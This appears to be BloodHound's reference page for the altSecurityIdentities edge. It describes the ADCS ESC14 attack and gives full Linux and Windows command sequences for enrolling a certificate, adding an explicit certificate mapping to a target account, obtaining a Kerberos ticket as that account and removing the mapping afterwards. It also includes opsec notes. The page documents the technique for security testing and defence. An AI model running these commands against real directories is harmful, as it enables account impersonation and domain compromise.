Skip to main content
Applies to BloodHound Enterprise and CE The altSecurityIdentities attribute stores explicit certificate mappings for a principal. An explicit certificate mapping links a specific certificate to the target as an alternative to the normal certificate-to-account mapping rules, allowing authentication as that principal.

​
Abuse Info

Write access to altSecurityIdentities may enable an ADCS ESC14 Scenario A attack. An attacker can add an explicit certificate mapping on the target that refers to a certificate in the attacker’s possession, then use that certificate to authenticate as the target. The certificate must meet the following requirements:
  1. Chain up to a trusted root CA on the domain controller.
  2. Include an Enhanced Key Usage (EKU) extension that enables domain authentication.
  3. Not include an Other Name / Principal Name entry (UPN) in the Subject Alternative Name (SAN).
The EKUs that enable domain authentication over Kerberos are:
  • Client Authentication (1.3.6.1.5.5.7.3.2)
  • PKINIT Client Authentication (1.3.6.1.5.2.3.4)
  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  • Any Purpose (2.5.29.37.0)
  • SubCA (no EKUs)
The last certificate requirement means user certificates typically do not work, so the certificate usually must be for a computer. By default, the ADCS certificate template Computer (Machine) meets these requirements and grants Domain Computers enrollment rights. The target can still be a user. The last requirement does not apply if a domain controller has UPN mapping disabled. See How to disable the Subject Alternative Name for UPN mapping. The abuse is possible with the strong explicit certificate mappings X509IssuerSerialNumber or X509SHA1PublicKey. The examples below use X509SHA1PublicKey.

​
Linux

Obtain a certificate that meets the requirements above, for example by dumping a certificate from a computer or enrolling a new certificate as a computer: 
certipy req -u computername -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC14
If enrollment fails because an email or DNS name is unavailable and cannot be added to the Subject or SAN, the enrollee principal does not have its mail or dNSHostName attribute set as required by the certificate template. The mail attribute can be set on users and computers, but dNSHostName can only be set on computers. Computers have validated write permission to their own dNSHostName attribute by default, but neither users nor computers can write to their own mail attribute by default. Get the SHA1 hash of the certificate public key: 
openssl pkcs12 -info -in computername.pfx -nokeys | openssl x509 -noout -sha1 -fingerprint | tr -d ':' | tr '[:upper:]' '[:lower:]'
...
sha1 fingerprint=f61331a504cff8cb5e60c269632c31aa3032a54a
Add the explicit certificate mapping string to the target principal: 
echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\nadd: altSecurityIdentities\naltSecurityIdentities: X509:<SHA1-PUKEY>f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h forestroot.com
Verify that the mapping was added: 
ldapsearch -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h "forestroot.com" -b "CN=Target,CN=Users,DC=forestroot,DC=com" altSecurityIdentities
Request a ticket granting ticket (TGT) from the domain using the certificate: 
certipy auth -pfx computername.pfx -dc-ip 172.16.126.128
After the abuse, remove the explicit certificate mapping string from the target principal: 
echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\ndelete: altSecurityIdentities\naltSecurityIdentities: X509:<SHA1-PUKEY>f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h forestroot.com

​
Windows

Obtain a certificate that meets the requirements above, for example by dumping a certificate from a computer or enrolling a new certificate as a computer with Certify (2.0): 
Certify.exe request --ca ca01.forestroot.com\Forestroot-CA01-CA --template Machine --machine --output-pem
Save the certificate as cert.pem and the private key as cert.key, then convert it to a PFX file: 
certutil.exe -MergePFX .\cert.pem .\cert.pfx
Get the SHA1 hash of the certificate public key: 
certutil.exe -dump -v .\cert.pfx
...
Cert Hash(sha1): ef9375785421d3ad286d8bdeb166f0f697266992
...
Add the explicit certificate mapping string to the target principal: 
Add-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992"
Verify that the mapping was added: 
Get-AltSecIDMapping -SearchBase "CN=Target,CN=Users,DC=forestroot,DC=com"
Request a TGT from the domain using the target identity and the PFX-formatted certificate: 
Rubeus.exe asktgt /user:"forestroot\target" /certificate:cert.pfx /ptt
After the abuse, remove the explicit certificate mapping string from the target principal: 
Remove-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992"

​
Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it retains a local copy of that certificate in its issued certificates store. Defenders may analyze issued certificates to identify illegitimately issued certificates and the principal that requested them.

​
Edge Schema

Source: User, Group, Computer
Destination: User, Computer
Traversable: Yes

​
References

This edge is related to the following MITRE ATT&CK technique:

​
Abuse and Opsec references